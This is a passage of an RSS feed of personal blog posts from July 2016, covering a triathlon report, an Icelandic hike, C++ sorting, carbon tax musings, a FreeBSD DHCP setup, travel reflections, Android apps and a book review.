&lt;p&gt;Needed all the fluid I carried, didn&amp;rsquo;t take anything else during the run and felt no less energetic than the other disciplines. Legs didn&amp;rsquo;t really hurt, just felt like lead and had no power. Route was basically a mini trail run then up a tarmac road to the turning point then head back via trail run to finish. Adopted a walk/run approach.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Total: 02:14:17&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Certainly the hardest triathlon I&amp;rsquo;ve done, and I&amp;rsquo;m probably at my least fittest compared to any of the others I&amp;rsquo;ve done to boot. The location was lovely, the weather was pretty decent (sunny but not too hot). Don&amp;rsquo;t feel like I was beaten by it, but definitely haven&amp;rsquo;t given it my best. One to redo next year and train towards.&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Sun, 10 Jul 2016 19:00:00 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/much-wenlock-triathlon-2016/</guid></item><item><title>Landmannalaugar</title><link>https://hth.is/2016/07/10/landmannalaugar/</link><description>Link to album
It had been a bucketlist item for some time to hike a well known route here in Iceland called Laugavegur. And so soon after coming back home from Canada, a friend offered up the possibility for finally checking it off the list. Its a easy walk, usually done in 2-3 days (a ultra marathon is held every year where the record is just over 4 hours!), and takes you through some fairly varied range of landscapes (on a Icelandic scale at least).</description><author>Hrafn Thorvaldsson</author><pubDate>Sun, 10 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://hth.is/2016/07/10/landmannalaugar/</guid></item><item><title>Making custom renderers for React</title><link>https://goshacmd.com/react-custom-renderers/</link><author>Gosha Spark</author><pubDate>Sun, 10 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/react-custom-renderers/</guid></item><item><title>Heroku CLI Plugins and You</title><link>https://xavd.id/blog/post/heroku-plugins/</link><description>undefined&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/heroku-plugins/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Fri, 08 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/heroku-plugins/</guid></item><item><title>C++ std::sort predicate with templates</title><link>https://studiofreya.org/cpp/cpp-templates/cpp-std-sort-predicate-with-templates/</link><description>&lt;p&gt;There are a couple of sorting algorithms in C++ from std::sort to lamdbas, each tailored to different use cases. As a programmer, you may or may not want to delve into the depths of sort algorithms. That’s a domain left for experts. Luckily, it’s quite easy to get started with sorting data.&lt;/p&gt;
&lt;div id="toc-np-container"&gt;
  &lt;p id="toc-np-title"&gt;
    Contents
  &lt;/p&gt;
  &lt;ul class="no-bullets"&gt;
    &lt;li class="header-level-1"&gt;
      &lt;a href="https://studiofreya.com/cpp/cpp-std-sort-predicate-with-templates/#Sorting-methods-in-C"&gt;&lt;span class="toc-np-number"&gt;1&lt;/span&gt;Sorting methods in C++&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-1"&gt;
      &lt;a href="https://studiofreya.com/cpp/cpp-std-sort-predicate-with-templates/#Sorting-quotHello-Worldquot"&gt;&lt;span class="toc-np-number"&gt;2&lt;/span&gt;Sorting "Hello World!"&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-1"&gt;
      &lt;a href="https://studiofreya.com/cpp/cpp-std-sort-predicate-with-templates/#Sorting-structs-and-classes"&gt;&lt;span class="toc-np-number"&gt;3&lt;/span&gt;Sorting structs and classes&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-2"&gt;
      &lt;a href="https://studiofreya.com/cpp/cpp-std-sort-predicate-with-templates/#Member-operator-lt-overload"&gt;&lt;span class="toc-np-number"&gt;3.1&lt;/span&gt;Member operator &lt; overload&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-2"&gt;
      &lt;a href="https://studiofreya.com/cpp/cpp-std-sort-predicate-with-templates/#Non-member-operator-lt-overload"&gt;&lt;span class="toc-np-number"&gt;3.2&lt;/span&gt;Non-member operator &lt; overload&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-2"&gt;
      &lt;a href="https://studiofreya.com/cpp/cpp-std-sort-predicate-with-templates/#Sort-predicate-examples"&gt;&lt;span class="toc-np-number"&gt;3.3&lt;/span&gt;Sort predicate examples&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-3"&gt;
      &lt;a href="https://studiofreya.com/cpp/cpp-std-sort-predicate-with-templates/#Lambda-as-a-sort-predicate"&gt;&lt;span class="toc-np-number"&gt;3.3.1&lt;/span&gt;Lambda as a sort predicate&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-3"&gt;
      &lt;a href="https://studiofreya.com/cpp/cpp-std-sort-predicate-with-templates/#Free-method-non-member-method-sort-predicate"&gt;&lt;span class="toc-np-number"&gt;3.3.2&lt;/span&gt;Free method (non-member method) sort predicate&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-3"&gt;
      &lt;a href="https://studiofreya.com/cpp/cpp-std-sort-predicate-with-templates/#Member-method-sort-predicate"&gt;&lt;span class="toc-np-number"&gt;3.3.3&lt;/span&gt;Member method sort predicate&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-3"&gt;
      &lt;a href="https://studiofreya.com/cpp/cpp-std-sort-predicate-with-templates/#Sorting-with-template-predicates"&gt;&lt;span class="toc-np-number"&gt;3.3.4&lt;/span&gt;Sorting with template predicates&lt;/a&gt;
    &lt;/li&gt;
    &lt;li class="header-level-1"&gt;
      &lt;a href="https://studiofreya.com/cpp/cpp-std-sort-predicate-with-templates/#Sorting-stdlist"&gt;&lt;span class="toc-np-number"&gt;4&lt;/span&gt;Sorting std::list&lt;/a&gt;
    &lt;/li&gt;
  &lt;/ul&gt;
&lt;/div&gt;
&lt;h2 id="sorting-methods-in-c"&gt;&lt;span id="Sorting-methods-in-C"&gt;Sorting methods in C++&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;With C++, there is a standardized sort method readily available. It’s called &lt;code&gt;std::sort&lt;/code&gt; and works by calling it with a range it should sort, usually a &lt;code&gt;begin&lt;/code&gt;-iterator and an &lt;code&gt;end&lt;/code&gt;-iterator. Normal use cases are sorting a vector or an array, but any container which implements the &lt;code&gt;RandomAccess&lt;/code&gt;-iterator can be sorted. Containers like &lt;code&gt;std::list&lt;/code&gt; can’t be sorted with &lt;code&gt;std::sort&lt;/code&gt;. &lt;code&gt;std::sort&lt;/code&gt; is available in the &lt;code&gt;&amp;lt;algorithm&amp;gt;&lt;/code&gt; header.&lt;/p&gt;</description><author>Studiofreya SSG Site</author><pubDate>Thu, 07 Jul 2016 17:35:39 GMT</pubDate><guid isPermaLink="true">https://studiofreya.org/cpp/cpp-templates/cpp-std-sort-predicate-with-templates/</guid></item><item><title>How Can You Buy Happiness?</title><link>https://josh.works/money/2016/07/07/can-you-buy-happiness/</link><description>&lt;p&gt; You can’t, but that won’t stop you and me from trying, at least a little.&lt;/p&gt;

&lt;p&gt;We (Humans, americans, at least “other people like me”) like to buy 
things. But we should do more than just buy 
things.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Experiences can have a much bigger impact on people’s happiness than things, and a big part of that happiness lies in looking forward to the experience that you are going to have.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This article is long,
&lt;a href="http://www.newrepublic.com/article/114031/money-happiness-and-new-science-smarter-spending#"&gt;but it is worth a read.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you have $100 to spend on something, schedule something you will look forward to for a week or a month. Looking forward to something 
is as important as enjoying the thing itself. &lt;/p&gt;

&lt;p&gt;If you want to have 4x the fun, invite someone along. &lt;/p&gt;

&lt;p&gt; &lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Thu, 07 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/money/2016/07/07/can-you-buy-happiness/</guid></item><item><title>Write Less Say More</title><link>https://josh.works/growth/2016/07/06/write-less-say-more/</link><description>&lt;p&gt;I recently read a short piece about 
&lt;a href="http://rs.io/software-writers-tools-improve-writing/"&gt;using software to improve your own writing&lt;/a&gt;. To paraphrase one of the suggestions: “do away with weasel words, the passive voice, adverbs, cliches.” &lt;/p&gt;

&lt;p&gt;I’m adding “complex sentences” to the list.&lt;/p&gt;

&lt;p&gt;Out of curiosity, I looked through things that I’ve written. I am not pleased.&lt;/p&gt;

&lt;p&gt;I am wordy. I create complex sentences, then interrupt myself in the middle.&lt;/p&gt;

&lt;p&gt;(The last sentence started out as “I tend to be verbose and wordy, with many complex sentences filled with interruptions.” Anyone who can write “verbose and wordy” without immediately cringing ought to be kept far from a keyboard.)&lt;/p&gt;

&lt;p&gt;I face a new challenge: 
write less, say more.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;There are two approaches I can take to be successful:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Edit as I go.&lt;/strong&gt;
 Never finish a sentence without hitting the backspace key at least a dozen times. (I need a keystroke counter to see how often I type either CTRL Z or Backspace. It is constant.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Write unencumbered by an attempt to write well&lt;/strong&gt;
. Once finished, go back and edit.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Option two is superior.&lt;/p&gt;

&lt;p&gt;I have taken the first approach so far in this little piece. Now that I am paying attention to my propensity to write long, complex sentences, I am constantly trying to re-write the sentence before I’ve even figured out what I’m trying to say.&lt;/p&gt;

&lt;p&gt;It would be better to just get the 
idea down on paper, and go back and fix it after the fact, than constantly interrupt the flow of the idea coming out of my head.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 06 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/07/06/write-less-say-more/</guid></item><item><title>Initial thoughts on carbon tax</title><link>http://dimitarsimeonov.com/2016/07/06/initial-thoughts-on-carbon-tax</link><description>&lt;p&gt;Prompted by thinking about &lt;code class="language-plaintext highlighter-rouge"&gt;hidden environment costs&lt;/code&gt; I had the
intuition that a carbon tax could fix it. The premise was that, if we
make carbon-producing activities more expensive, the market will
regulate these down, giving a fair chance to “greener” options to
replace them.&lt;/p&gt;

&lt;p&gt;Then I started reading about what carbon tax is and I am no longer so
sure. I haven’t turned against it, but I’m realizing that the issue is
a lot more complicated than I thought. Intuitively, I still feel that
carbon tax is beneficial, but have less conviction as I’m realizing
that the devil is in the details.&lt;/p&gt;

&lt;p&gt;In this post, I’ll try to lay down my intuitions and assumptions and
cross-reference them with public information I found.&lt;/p&gt;

&lt;p&gt;How did I imagine carbon tax? Well, when an activity creates &lt;code class="language-plaintext highlighter-rouge"&gt;hidden
environment cost&lt;/code&gt; part of which can be measured in carbon emissions,
the activity is taxed at a certain rate per amount of emissions. The
tax revenue can then fund carbon-cleaning activities such as planting
forests, which can reduce the carbon in the atmosphere to remove the
excess.&lt;/p&gt;

&lt;p&gt;Such strategy depends on the following assumptions:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;We can accurately measure the carbon impact of an activity.&lt;/p&gt;

    &lt;p&gt;This is arguably possible for certain activities, and in other
cases there could be an upper bound, which might be reasonable. I
am not worried much about this assumption, as even if we
underestimate the emissions, having at least some carbon tax will
help to a degree. I’d assume that the cost of carbon emissions
increases as the overall emissions increase so removing 50% of the
carbon might reduce the burden by 80+%&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The government will direct the tax revenue towards carbon cleaning.&lt;/p&gt;

    &lt;p&gt;I think this is extremely risky assumptions and I do not think that
the government would want to do it. Any government might say “Hey,
these money that you paid me for dumping carbon - I have a better
use of them, to build hospitals and schools, for example.” The
government might be right about it, but letting them slide will
open the door to them cheating in the future. Governments change
every once in a while, and a benevolent government might give way
to another which doesn’t care about the environment.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;We can accurately measure carbon cleaning activities.&lt;/p&gt;

    &lt;p&gt;I am not certain if that’s the case but I’m willing to give it the
benefit of the doubt. Currently, there are markets for carbon
offsets, with third party evaluations. Even if the carbon offsets
are not perfectly measured now, the measurement can improve in the
future as awareness grows.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Removing carbon for place A will be effective in cleaning the mess
created at place B.&lt;/p&gt;

    &lt;p&gt;The supporting argument for this assumption is that CO2 goes up in
the atmosphere, where it can commingle with other carbon. I feel
that this assumption might be partially true, and that even it
isn’t exactly true, the whole premise of removing carbon makes
sense. Eventually as carbon gets depleted, the carbon offset market
will address place B.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Looking at the assumptions above - I think that dedicating resources
to cleaning up carbon emissions is a viable strategy to removing the
carbon damage to the environment - I’m just not convinced that a
carbon tax would be effective way to implement it. The main reason is
that I believe that governments would redirect the money.&lt;/p&gt;

&lt;p&gt;If we assume that the government is looking after the public good, and
might find ways to spend the carbon-tax income on other social needs,
shoudn’t we be OK with that? I’m not sure. Social good is great as a
single objective to aim for, but in the case of multiple dependent
commodities such as social good and environment damage, the relative
conversion rates between the two might differ through time. As
environment damage increases, so does its marginal cost. This kind of
optimization will converge to a situation with a lot of environment
damage, balanced by a productive society.&lt;/p&gt;

&lt;p&gt;But the natural environment is the base on top of which humanity has
built its civilization. I believe there will be a lot of secondary
negative effects on humanity’s wealth from high environment damage. I
also think that environment damage will undermine the meaning of
wealth and devalue it.&lt;/p&gt;

&lt;p&gt;My preference would be to close the loop from carbon emissions to
carbon offsets as quickly as possible. I would not endorse spending
carbon tax money on non-carbon social needs. I just don’t think this
works in the long term.  Going through government to create carbon tax
might work but creates a longer solution cycle, requiring the money to
go through the government, where they are at risk of being redirected.&lt;/p&gt;

&lt;p&gt;What are the alternatives? One is that the government might require
certain heavy carbon creators to become carbon neutral, by them buying
carbon offsets. This will raise their price and hurt wealth a bit in
the short term, but might actually decrease emissions. The government
can serve as the watchdog, and has fewer chances to redirect the
money. In the long term this will also stimulate the carbon offset
market, making it cheaper to offset carbon. The hard part about such
approach is that it may have a lot of logistic difficulties and it
might undermine the government.&lt;/p&gt;

&lt;p&gt;Another alternative is for consumers to start choosing carbon neutral
products. This will also stimulate the carbon offset market and might
cause producers to find ways to eliminate emissions rather than
offsetting them. This focuses the effort on a small percent of the
population, and will unlikely be effective, other than raise awareness
of the issue. Still, this might be a good first step, in order to get
people prepared about the extra cost of offsetting the carbon
emissions.&lt;/p&gt;

&lt;p&gt;Yet another alternative is for the government to encourage
frugality. This will reduce environment impact immediately through
reduction of consumption, and it will open up resources for supporting
the extra cost of carbon offsets.&lt;/p&gt;

&lt;p&gt;If we remember the “reduce, reuse, recycle”, then “carbon tax” is
“recycle” while frugality is “reduce”.&lt;/p&gt;</description><author>D13V</author><pubDate>Wed, 06 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/07/06/initial-thoughts-on-carbon-tax</guid></item><item><title>Insanity with Elixir + Phoenix + PostgreSQL</title><link>https://www.brightball.com/articles/insanity-with-elixir-phoenix-postgresql</link><description>I'm at the borderline of obsessed with Elixir and Phoenix lately. I've avoided writing about it so far because it feels a bit too good to be true. In an effort to test my own enthusiam, I decided to rebuild this site with them in the most ridiculous way possible just to try to test some limits. Because I already have an unhealthy obsession with PostgreSQL, we're getting crazy with it too.
DISCLAIMER: This is not a "how to build a blog" article. If you do what I'm about to do, people will look at you funny (and probably should).</description><author>Brightball Articles</author><pubDate>Wed, 06 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/insanity-with-elixir-phoenix-postgresql</guid></item><item><title>Setup DHCP interface in FreeBSD</title><link>https://caiustheory.com/setup-dhcp-interface-in-freebsd/</link><description>&lt;p&gt;Given a FreeBSD instance without a configured network interface that you&amp;rsquo;d like to configure, first check what the name of the interface you want to configure is with &lt;code&gt;ifconfig&lt;/code&gt;. (Mine is &lt;code&gt;em0&lt;/code&gt; in this instance.)&lt;/p&gt;
&lt;p&gt;Then we need to add the configuration telling services that we want to use DHCP for this interface, and setting up our default router (use your IP, not mine!) too:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat &amp;gt;&amp;gt; rc.conf &lt;span class="s"&gt;&amp;lt;&amp;lt;CONF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;ifconfig_em0="DHCP"
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;default_router="192.168.1.1"
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;CONF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And then we need to start &lt;code&gt;dhclient&lt;/code&gt; on the given interface:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;service dhclient start em0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Hey presto, you should see dhclient finding a DHCP server and being handed an IP address for &lt;code&gt;em0&lt;/code&gt;.&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Tue, 05 Jul 2016 13:00:00 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/setup-dhcp-interface-in-freebsd/</guid></item><item><title>Five Lessons Learned in Buenos Aires</title><link>https://josh.works/travel/2016/07/05/five-lessons-learned-in-buenos-aires/</link><description>&lt;p&gt;Note: This is an unedited draft of a post from July 5, 2015. Almost exactly one year ago, written after a week in Buenos Aires. Since writing this post, Kristi and I have continued on to more than a year of non-stop travel, though we’re settling down back in Golden, CO in about two months. &lt;/p&gt;

&lt;p&gt;Kristi and I arrived here in Buenos Aires less than a week ago. We’ve quickly found a routine in some ways, and in others, are still very out of our routine.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;No matter where you go, you are still you.&lt;/strong&gt;
 If you want to escape from all your insecurities, disappointments, and challenges, you have to figure out how to not take yourself along. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt; &lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Being outside of your comfort zone grows you. &lt;/strong&gt;
 If you want to escape from all your insecurities, disappointments, and challenges, doing hard things may help turn you into someone who is less insecure, less disappointed, and not as challenged by things that were once challenging. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In many ways we feel like children here. We struggle to communicate, don’t recognize much, and don’t know where things are. In an absolute sense, our accomplishments are small (I.E. we’ve managed to feed ourselves) and our need is large (We’re staying in a grandparent’s empty apartment, many people here in Buenos Aires have gone out of their way to help us in small and large ways). &lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Perspective matters&lt;/strong&gt;
. The first time I walked back from the 
&lt;a href="http://www.areatresworkplace.com/ubicaciones.html#soho"&gt;coworking space&lt;/a&gt; to our apartment without wondering if I took a wrong turn, I felt a sense of accomplishment. It’s been so long since I’ve felt a sense of accomplishment for such a mundane thing. I am rediscovering the joys succeeding in very boring ways every day. (Exchanged pleasantries and asked questions to a fruit vendor? WIN! Found lunch, paid for it? WIN!)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt; &lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Doing hard stuff with a friend is better than doing it alone. &lt;/strong&gt;
 Kristi is my best friend. Lots of people travel to other countries by themselves. It’s 1000% better doing it with your best friend. (And being married to your best friend? Whoa.) I spent a semester abroad in college, and often felt quite discouraged. I’ve not felt discouraged at all here, and it’s because of Kristi. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, after butchering my way through a conversation with a taxi driver in terrible, broken Spanish, I was frustrated at how bad I was at it. I was thinking of all the reasons I 
&lt;strong&gt;should&lt;/strong&gt;
 be better at Spanish. I was thinking of all the people I know who are fluent in both English and Spanish, and how dumb I am compared to them.&lt;/p&gt;

&lt;p&gt;Kristi just said “Good job. You did great.” &lt;/p&gt;

&lt;p&gt;And I was at peace again.&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;An unstable currency is a disaster.&lt;/strong&gt;
The Argentinian Peso is inflating very, very quickly. There are government controls on bringing money into the country. The official exchange rate is about 25% less than the real exchange rate. This causes great harm to everyone on the peso (except, I suppose, the government who doesn’t have to pay debts yet). Everyone inside and outside of Argentina knows the economy is a disaster. But they got there via one small public policy at a time. &lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Tue, 05 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/travel/2016/07/05/five-lessons-learned-in-buenos-aires/</guid></item><item><title>Three Android Apps I Use Every Day (and maybe you'll use them too)</title><link>https://josh.works/growth/2016/07/04/three-android-apps-i-use-every-day-and-maybe-youll-use-them-too/</link><description>&lt;p&gt;I’m not here to talk about Twitter and Instagram, which… I use too much. Lets talk about things that make my life better, and might do the same for you.&lt;/p&gt;

&lt;p&gt;(If you’re an iPhone user, just Google for the iOS version of the following tools. They’re all out there)&lt;/p&gt;

&lt;h2 id="rewire-app-recurring-behavior-tracking"&gt;Rewire App: “Recurring behavior” tracking&lt;/h2&gt;

&lt;p&gt;I wrote “Habit tracking” originally, but I don’t like that phrasing. I’m all for good habits, or eliminating bad ones, but I don’t think you should try to form a new habit until you’ve figured out
&lt;a href="/intentional-habit-building"&gt;how to make it really, really easy&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So, I use &lt;a href="http://www.rewireapp.io/"&gt;Rewire&lt;/a&gt; to simply track the status of things I’d like to pay attention too.&lt;/p&gt;

&lt;p&gt;I’m not trying to make new habits. I just want to see how often I do something on its own.&lt;/p&gt;

&lt;p&gt;When I do the thing I want to do, I mark that day’s habit as “complete”. If I don’t, I don’t mark it as “failed”, I just mark it as “skipped”.&lt;/p&gt;

&lt;p&gt;This is a tiny way I can
&lt;a href="/be-gentle-to-you"&gt;be gentle to myself&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id="journey-app-daily-gratitude"&gt;Journey App: Daily gratitude&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;edit: as of December 2017, I don’t use Journey anymore. Sometimes I use a physical notebook, sometimes I use keep, sometimes I don’t do any specific thinking around daily gratitude. I wish I did, but I don’t.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I write a little  bit every day. Three things every day, and never with the intention of publishing them.&lt;/p&gt;

&lt;p&gt;Between &lt;a href="https://www.amazon.com/Slight-Edge-Turning-Disciplines-Massive/dp/193594486X"&gt;The Slight Edge&lt;/a&gt; and &lt;a href="https://www.amazon.com/Miracle-Morning-Not-So-Obvious-Guaranteed-Transform-ebook/dp/B00AKKS278/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1467616556&amp;amp;sr=1-1&amp;amp;keywords=micracle+morning"&gt;The Miracle Morning&lt;/a&gt;_ and many other books, and endless articles, I’ve finally been convinced about the benefit of finding a few things every day to be thankful for. Three things, specifically.&lt;/p&gt;

&lt;p&gt;For a long time I used &lt;a href="https://chrome.google.com/webstore/detail/google-keep-notes-and-lis/hmjkmjkepdijhoojdojkdfohbdgmmhki?hl=en"&gt;Google Keep&lt;/a&gt; to track all my items, but it became laggy once I had a few hundred lines of text in it. So, I hunted around, and found &lt;a href="http://2appstudio.com/journey/"&gt;Journey&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://2appstudio.com/journey/"&gt;Journey&lt;/a&gt; is an Android (and windows) app + Chrome extension for “daily journaling”. I just open it up (usually on my phone, as I go to sleep, other times on the Chrome extension) and I jot down three things I’m thankful for.&lt;/p&gt;

&lt;p&gt;The only rules are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Always three things&lt;/li&gt;
  &lt;li&gt;No repeats&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I enjoy having to be a little creative to make sure I don’t repeat things, and it’s really encouraging to scroll down through hundreds of little tiny (and sometimes big) things I was (and am) thankful for.&lt;/p&gt;

&lt;h2 id="phone-usage-dont-waste-your-life"&gt;Phone Usage: Don’t waste your life&lt;/h2&gt;

&lt;p&gt;Apparently, no one has heard of this app. Lifehacker, CNET, Gizmodo, and others all have pretty terrible recommendations for apps that tell you how much you use your phone. I’d know - I tried what they recommended, was frustrated, and then finally found
&lt;a href="https://play.google.com/store/apps/details?id=pt.aguiar.phoneusage"&gt;PhoneUsage&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://play.google.com/store/apps/details?id=pt.aguiar.phoneusage"&gt;PhoneUsage&lt;/a&gt; does exactly what you’d expect:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Tells you how much total time you spend with your phone “on”. (I use quotes because talking on the phone counts, even though the screen is off.)&lt;/li&gt;
  &lt;li&gt;Tells you how many times you turned your screen on (total #sessions, and also the number of “quick checks”. I don’t know how it qualifies one from the other.)&lt;/li&gt;
  &lt;li&gt;How much you use each app&lt;/li&gt;
  &lt;li&gt;Lots more.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I love it. I look at it at least once a day, sometimes more. I think it helps me subtly move towards less frivolous time spent on my phone.&lt;/p&gt;

&lt;h3 id="resources-used-while-writing-this-post"&gt;Resources used while writing this post:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://github.com/spadgos/sublime-DefaultFileType"&gt;Set default new file type to Markdown in Sublime Text 3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://coderwall.com/p/j3tjtq/spell-check-for-markdown-in-sublime-text"&gt;Enable spell check in Markdown documents&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I didn’t say the resources list is ever related to the content of the post. ¯\_(ツ)_/¯&lt;/p&gt;

&lt;p&gt;PS: To write the &lt;code class="language-plaintext highlighter-rouge"&gt;¯\_(ツ)_/¯&lt;/code&gt; figure in Markdown, you actually need to write:&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;¯\\\_(ツ)\_/¯&lt;/code&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Mon, 04 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/07/04/three-android-apps-i-use-every-day-and-maybe-youll-use-them-too/</guid></item><item><title>The Millionaire Next Door</title><link>https://josh.works/books/2016/07/04/the-millionaire-next-door/</link><description>&lt;p&gt;I’m struggling to know what to write about 
The Millionaire Next Door.&lt;/p&gt;

&lt;p&gt;It’s got many wonderful traits, and I strongly recommend that you read it (I wouldn’t mention it otherwise) but it’s got some flaws. I’m afraid if I focus on the flaws, I’ll turn people off from it that might otherwise read it, but if I don’t, I’ll do readers a disservice.&lt;/p&gt;

&lt;p&gt;So, here we go:&lt;/p&gt;

&lt;h3 id="read"&gt;Read&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://www.amazon.com/Millionaire-Next-Door-Surprising-Americas/dp/1589795474/ref=sr_1_1"&gt;The Millionaire Next Door&lt;/a&gt; because:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Most of us have an incorrect perception of what it looks like to be a millionaire, and that colors our thinking about wealth. (Hint: the “average” millionaire looks pretty unremarkable.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The book will hopefully inspire some self-evaluation in new ways. (It did for me)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;You might finish the book with a new appreciation for financial independence, rather than making a certain amount of money. (Hint: financial independence requires a lot of money, but not nearly as much as most people might think.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;It’s an engaging read&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="if-you-read-it-be-careful-because"&gt;If you read it, be careful because:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Survivorship bias is all over this book. They interview millionaires, and then look for common threads. There may be a large group of people out there who did most of the same things and are not millionaires. This group will never be counted.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The book seems a bit too trusting in some ways. Easy example is it’s way easier to be a millionaire today than it was in 2000, because the value of the dollar has sunk considerably. So the bar is getting lower and lower, and understates the significance of the achievements of a self-made millionaire in the 1980s.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here’s the link again: 
&lt;a href="http://www.amazon.com/Millionaire-Next-Door-Surprising-Americas/dp/1589795474/ref=sr_1_1"&gt;The Millionaire Next Door: The Surprising Secrets of America’s Wealthy&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Mon, 04 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/books/2016/07/04/the-millionaire-next-door/</guid></item><item><title>Avoid a car accident with a $3 tool</title><link>https://josh.works/cars/2016/07/04/avoid-a-car-accident-with-a-3-tool/</link><description>&lt;p&gt;&lt;strong&gt;TL;DR: Buy a 
